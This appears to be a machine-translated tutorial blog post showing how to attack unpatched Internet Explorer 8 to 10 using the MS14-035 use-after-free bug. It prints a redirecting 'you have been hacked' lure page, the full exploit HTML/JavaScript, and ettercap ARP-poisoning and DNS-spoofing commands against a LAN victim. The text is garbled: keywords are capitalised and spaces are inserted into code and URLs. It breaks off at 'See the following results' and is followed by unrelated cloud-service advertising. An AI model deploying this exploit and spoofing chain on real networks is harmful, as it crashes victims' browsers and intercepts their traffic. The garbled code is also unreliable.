Malicious attack on IE browser using MS14-035
This vulnerability can cause the Internet Explorer to crash. The versions involved include ie8, 9, and 10. Microsoft released an update Patch on March 14, June 10,
So now we can only attack ie browsers that were not updated to June 10 this year. For details, see here:
Http://www.exploit-db.com/exploits/33860/
As described above, we need html code to exploit this vulnerability. Next I will demonstrate local area network attacks on the local machine, the target
Is the win7_sp1-ie9 installed in the virtual machine:
First, modify the index.html in the local/var/www directory as follows:
<Html>
<Head>
<Meta http-equiv = "refresh" content = "5; url = http: // 192.168.1.29/poc.html">
<Title> you have been hacked </title>
</Head>
<Body>
You have been hacked, and you will shutdown !!
</Body>
</Html>
This is the first page opened by the target. The page displays "you have been hacked, and you will shutdown !!",
Set refresh time to 5 seconds ("refresh" content = 5): After 5 seconds, the system automatically opens the next step, which is advantageous.
The html page with the ie vulnerability, http: // 192.168.1.29/poc.html, is created in the same directory
(You can also directly change index.html to the following content ):
<Html>
<Head> <title> MS14-035 Internet Explorer CInput Use-after-free POC </title>
<Body>
<Form id = "testfm">
<Textarea id = "child" value = "a1"> </textarea>
<Input id = "child2" type = "checkbox" name = "option2" value = "a2"> Test check <Br>
<Textarea id = "child3" value = "a2"> </textarea>
<Input type = "text" name = "test1">
</Form>
<Script>
Var startfl = false;
Function changer (){
// Call of changer function will happen inside mshtml! CFormElement: DoReset call, after
// Execution of this function crash in DoReset will happen when accessing freed CInput element
If (startfl ){
Document. getElementById ("testfm"). innerHTML = ""; // Destroy form contents, free next
CInput in DoReset
CollectGarbage ();
}
}
Document. getElementById ("child2"). checked = true;
Document. getElementById ("child2"). onpropertychange = changer;
Startfl = true;
Document. getElementById ("testfm"). reset (); // DoReset call
</Script>
</Body>
</Html>
Enable apache2 and then use ettercap for dns Spoofing:
Service apache2 start
Ettercap-TqP dns_spoof-M arp: remote/192.168.1.27 ///
See the following results:
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
